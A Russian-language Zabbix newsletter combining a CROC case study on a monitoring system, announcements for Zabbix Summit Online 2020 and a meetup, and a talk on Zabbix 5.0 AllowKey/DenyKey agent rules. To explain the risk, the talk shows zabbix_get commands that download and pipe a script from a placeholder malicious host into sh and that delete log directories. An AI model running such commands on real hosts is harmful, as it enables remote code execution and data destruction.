Валентин Нык, Руководитель отдела систем управления
ИТ-инфраструктурой, КРОК
В КРОК появилась идея создать систему комплексного мониторинга (СКМ), которая заменит существующие промышленные решения. Такая потребность возникла, потому что бизнесу стало невыгодно пользоваться иностранными разработками. Они подорожали, не учитывают потребности российских клиентов и могут попасть под санкции.
Крупные компании давно используют разные СКМ. Однако пользоваться ими стало невыгодно. Ниже расскажем, почему.
После кризиса в 2014 г. курсы валют выросли примерно в два раза. Автоматически подорожали и промышленные решения. Поэтому компании пытаются оптимизировать решения или модель владения ими.
Иностранные разработки не ориентированы на российский рынок. Клиенты из России в среднем занимают 1% от глобального рынка. Поэтому разработчики неохотно решают их проблемы.
В стране действуют санкции, а государство ведёт политику импортозамещения. Из-за этого бизнесу труднее использовать иностранное ПО.
С 2014 года у нас изменились экономические реалии. Связаны они, в первую очередь, с курсом валюты. Стоимость владения промрешением за несколько месяцев стала в два раза дороже. И даже для крупных наших заказчиков это стало проблемой. Последние лет пять многие занимаются тем, что оптимизируют модель владения технологическими решениями.
Валентин Нык, руководитель отдела систем управления ИТ-инфраструктурой ДИТ
Чтобы решить проблему, нужно разработать СКМ на альтернативном стеке решений. Такой стек может включать в себя СПО, решения с открытым исходным кодом и собственные разработки.
Важно, чтобы СКМ не уступала по функционалу иностранным промышленным решениям, но при этом стоила дешевле.
При создании СКМ в КРОК опирались на накопленный опыт. Концептуальная архитектура СКМ в целом повторяет промышленные решения иностранных вендоров и состоит из трех основных уровней:
сбор данных,
анализ данных,
представление результатов мониторинга.
Уровень сбора данных занимает Zabbix. Система собирает данные и передает их на следующие уровни. Zabbix позволяет проводить разноплановый мониторинг и работает с различными объектами мониторинга: от серверов и операционных систем до сети и внешних систем.
На уровне аналитики решаются задачи мониторинга услуг. Данные с первого уровня используют для построения ресурсно-сервисных моделей, машинного обучения, обработки графов и аналитики.
На уровне представления используется классический набор решений. С их помощью данные, собранные на первом уровне, можно представить по-разному, например, в виде графиков или 3D-моделей.
С помощью Zabbix компания КРОК создала СКМ, которая:
Ниже представлены кейсы компании КРОК, в которых использована система Zabbix.
С оптимизацией помогает Zabbix. Система служит источником больших данных, на основе которых можно строить модели и делать прогнозы.
Возможности Zabbix
Компания КРОК российский разработчик ПО, мобильных приложений, интегрированных платформ, решений для защиты данных и оптимизации их хранения. Сотрудничает с более чем 270 производителями оборудования и ПО. Её услуги и решения направлены на повышение эффективности работы компаний с помощью ИТ. В приоритете компании комплексный подход, который сочетает оптимизацию инфраструктуры и автоматизацию бизнес-процессов.
Штаб-квартира: Россия, Москва
Количество сотрудников: 1 777
Дата основания: 1992 г.
Zabbix Summit мероприятие, на котором можно узнать о выдающихся случаях использования Zabbix и ознакомиться с техническими решениями, представленными мировыми ИТ экспертами. Девять лет подряд мы организовывали мероприятия, собирающие сотни посетителей из десятков стран. В этом году мы принимаем новые правила и переходим на онлайн-формат.
Программа Zabbix Summit Online 2020 будет в основном посвящена релизу Zabbix 5.2 (ожидается, что он будет анонсирован до начала мероприятия). Команда инженеров Zabbix охватит множество технических тем, а также расскажет о возможностях нового релиза. Традиционно, с докладами выступят эксперты Zabbix со всего мира и поделятся самыми интересными и сложными случаями применения Zabbix.
Помимо технической информации, вы сможете узнать о профессиональных услугах Zabbix, познакомиться с членами команды и пообщаться с пользователями из разных сфер бизнеса и стран.
В отличие от обычного двухдневного мероприятия, в этом году
саммит пройдет в течение одного дня и таким образом, что в нем
смогут принять участие гости со всего мира.
Мы начнем с докладов команды и членов сообщества Zabbix из Японии,
когда в европейской части земного шара будет раннее утро. Следующим
присоединится китайское представительство Zabbix и продемонстрирует
интересные кейсы использования, реализованные экспертами Zabbix в
этом регионе. Третий блок саммита будет наиболее продолжительным.
Он объединит выступления представителей Европы и России. Во время
этой части саммита выступят также исполнительный директор Zabbix
Алексей Владышев и технические инженеры Zabbix. После европейского
сегмента саммит продолжится выступлениями докладчиков из Бразилии.
А заключительная секция будет посвящена США. Посетители получат
возможность ознакомиться с интересными примерами использования
Zabbix местными компаниями и лично обсудить с местными экспертами
насущные вопросы.
Все региональные части Саммита будут разделены онлайн кофе-брейками, во время которых вы сможете посмотреть живые интервью со спикерами, а также пообщаться с другими участниками в специальных чат-комнатах. Для ответа на вопросы будут организованы Q&A сессии.
Вы можете спросить, как насчет традиционных технических воркшопов? Об этом мы тоже подумали. Воркшопы будут проведены во время следующей после саммита недели как членами нашей команды, так и спонсорами мероприятия. У вас будет возможность выбрать и принять участие во всех сессиях, которые покажутся вам интересными.
Важной отличительной чертой мероприятия этого года является то, что участие в саммите будет бесплатным. Однако при желании у вас есть возможность оказать финансовую поддержку мероприятию:
Со списком бонусов, которые предлагает вашей компании каждый уровень спонсорства, можно ознакомиться в спонсорской брошюре. Что касается фан-пакета, то он включает в себя эксклюзивный подарок, созданный специально для мероприятия кружку и футболку (доставка включена в стоимость).
На данный момент регистрация открыта как для слушателей, так и для докладчиков. Регистрируйтесь, чтобы принять участие в главное событии года Zabbix, услышать последние новости от создателя Zabbix Алексея Владышева и встретить, хоть и виртуально, дружное и сплоченное сообщество пользователей Zabbix. Если у вас есть интересный опыт использования Zabbix или вы создали индивидуальное решение или шаблон, который может принести пользу сообществу, смело регистрируйтесь как спикер. Крайний срок подачи презентаций 18 сентября.
Следите за обновлениями на официальной странице мероприятия.
Присоединяйтесь к Zabbix Summit Online 2020 и узнайте о лучших мировых практиках применения Zabbix в прямом эфире.
29 сентября мы проведем четвертый онлайн митап на русском языке. Вступительную речь, а также сессию вопросов и ответов возьмет на себя создатель и исполнительный директор Zabbix Алексей Владышев. Приглашаем вас послушать интересные и полезные доклады и не упустить возможность задать интересующие вопросы напрямую создателю нашего решения для мониторинга. Регистрация на мероприятие уже открыта.
Программа:
10:00 Открытие мероприятия
Алексеем Владышев, Основатель и исполнительный директор, Zabbix
10:10 "Улучшения UI/UX в Zabbix 5.0/5.2."
Тихон Усков, Инженер интеграции, Zabbix
10:30 TBA
10:50 "Как мы доработали Zabbix-Agent для мониторинга баз данных
Oracle/MySQL/PostgreSQL/MSSQL на разных ОС"
Михаил Григорьев, Cистемный инженер, Дистрибьютед Сервис
11:20 Вопросы и ответы с Алексеем Владышевым, основателем и исполнительным директором, Zabbix
До встречи на митапе!
Тихон Усков, Инженер интеграции, Zabbix
В Zabbix 5.0 появилась новая функция, которая позволяет улучшить безопасность в системах с использованием Zabbix Agent и заменяет старый параметр EnableRemoteCommands.
Усовершенствование безопасности систем с использованием агента обусловлено тем фактом, что агент может выполнять большое количество потенциально опасных действий.
Например, с помощью утилиты zabbix_get можно получить доступ к списку пользователей, их домашним каталогам, файлам с паролями и т. д.
Доступ к данным с помощью утилиты zabbix_get
ПРИМЕЧАНИЕ. Данные могут быть получены, только если агент имеет права на чтение соответствующего файла. Но, например, файл /etc/passwd/ доступен для чтения всем пользователям.
# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]
В более ранних версиях параметр EnableRemoteCommands=0 позволял только отключать метрики с ключом *system.run[]** и выполнение скриптов из веб-интерфейса, но при этом было не было возможности ограничить доступ к отдельным файлам, разрешить или запретить отдельные ключи, которые устанавливались вместе с агентом, или ограничить использование отдельных параметров.
Использование параметра EnableRemoteCommand в ранних версиях Zabbix
Zabbix 5.0 помогает защититься от такого несанкционированного доступа благодаря белым и черным спискам для разрешения и запрета метрик на стороне агента.
В Zabbix 5.0 все ключи, включая *system.run[]**, разрешены, и добавлены два новых параметра конфигурации агента:
AllowKey= разрешенные проверки;
DenyKey= запрещенные проверки;
где паттерн имени ключа с параметрами, в котором используются
метасимволы (*).
Ключи AllowKey и DenyKey позволяют разрешить или запретить отдельные метрики по определенному шаблону. В отличие от других параметров конфигурации количество параметров AllowKey/DenyKey не ограничено. Это позволяет четко определить, что именно агент может делать в системе благодаря созданию дерева проверок выполняемых ключей, где очень важную роль играет порядок их написания.
Правила проверяются в том порядке, в котором они внесены в конфигурационный файл. Проверка ключа по правилам происходит до первого совпадения, и как только ключ элемента данных совпадает с паттерном, он разрешается или запрещается. После этого проверка правил останавливается, и остальные ключи игнорируются.
Поэтому если элемент соответствует и разрешающему, и запрещающему правилу, результат будет зависеть от того, какое правило будет первым в конфигурационном файле.
2 разных правила с одинаковым паттерном и ключ vfs.file.size[/tmp/file]
Порядок использования ключей AllowKey/DenyKey:
Например, если вам необходим доступ к файлам в определенной папке, необходимо сначала разрешить доступ к ним, после чего запретить все остальное, что не попадает под установленные разрешения. Если в первую очередь будет использовано запрещающее правило, доступ к папке будет запрещен.
Правильная последовательность
Если необходимо разрешить запуск 2 утилит через *system.run[]**, и в первую очередь будет указано запрещающее правило, утилиты запускаться не будут, потому что первый паттерн будет всегда соответствовать любому ключу, и последующие правила будут игнорироваться.
Неправильная последовательность
Паттерн выражение с подстановочными знаками (wildcard). Метасимвол (*) соответствует любому количеству любых символов в определенной позиции. Метасимволы могут использоваться как в имени ключа, так и в параметрах. Например, можно жестко определить текстом первый параметр, а последующий указать как wildcard.
Параметры должны быть заключены в квадратные скобки [].
system.run[*
неверноvfs.file*.txt]
неверноvfs.file.*[*]
верноПримеры использования wildcard.
Особенности написания ключей с параметрами
Правила заполнения параметров
ПРИМЕЧАНИЕ. Если администратор запрещает какой-либо ключ, при запросе Zabbix не выдает информации о том, по какой причине метрика или ключ попадают в категорию 'NOTSUPPORTED'. В log-файлах агента информация о запретах на выполнение удаленных команд также не отображается. Это сделано из соображений безопасности, но может осложнить отладку, если метрики попадают в неподдерживаемую категорию по каким-либо причинам.
После настройки правил необходимо удостовериться, что все настроено верно.
Можно воспользоваться одним из трех вариантов:
Вы можете запретить доступ к файлу и удостовериться, например, с помощью утилиты zabbix_get, что доступ к файлу запрещен.
**
ПРИМЕЧАНИЕ. Кавычки в параметре игнорируются.
При этом доступ к такому файлу может быть разрешен по другому пути. Например, если на него ведет симлинк.
Рекомендуется проверять различные варианты применения задаваемых правил, а также учитывать возможности обойти запреты.
Вопрос. Почему для описания правил, разрешений и запретов выбрана такая сложная схема паттерна со своим языком? Почему не было возможности воспользоваться, например, регулярными выражениями, которые использует Zabbix?
Ответ. Это вопрос производительности regex, поскольку агент, как правило, один, и он проверяет огромное количество метрик. Regex достаточно тяжелая операция, и мы не можем проверять тысячи метрик таким образом. Wildcards универсальное, шороко применяемое и простое решение.
Вопрос. Разве файлы Include подключаются не в алфавитном порядке?
Ответ. Насколько мне известно, предсказать последовательность применения правил, если вы разносите правила по разным файлам, фактически невозможно. Я рекомендую собрать все правила AllowKey/DenyKey в одном файле Include, потому что они взаимодействуют друг с другом, и подключать этот файл.
Вопрос. В Zabbix 5.0 опция 'EnableRemoteCommands=' в конфигурационном файле отсутствует, и доступны только AllowKey/DenyKey?
Ответ. Да, все верно.
Спасибо за внимание!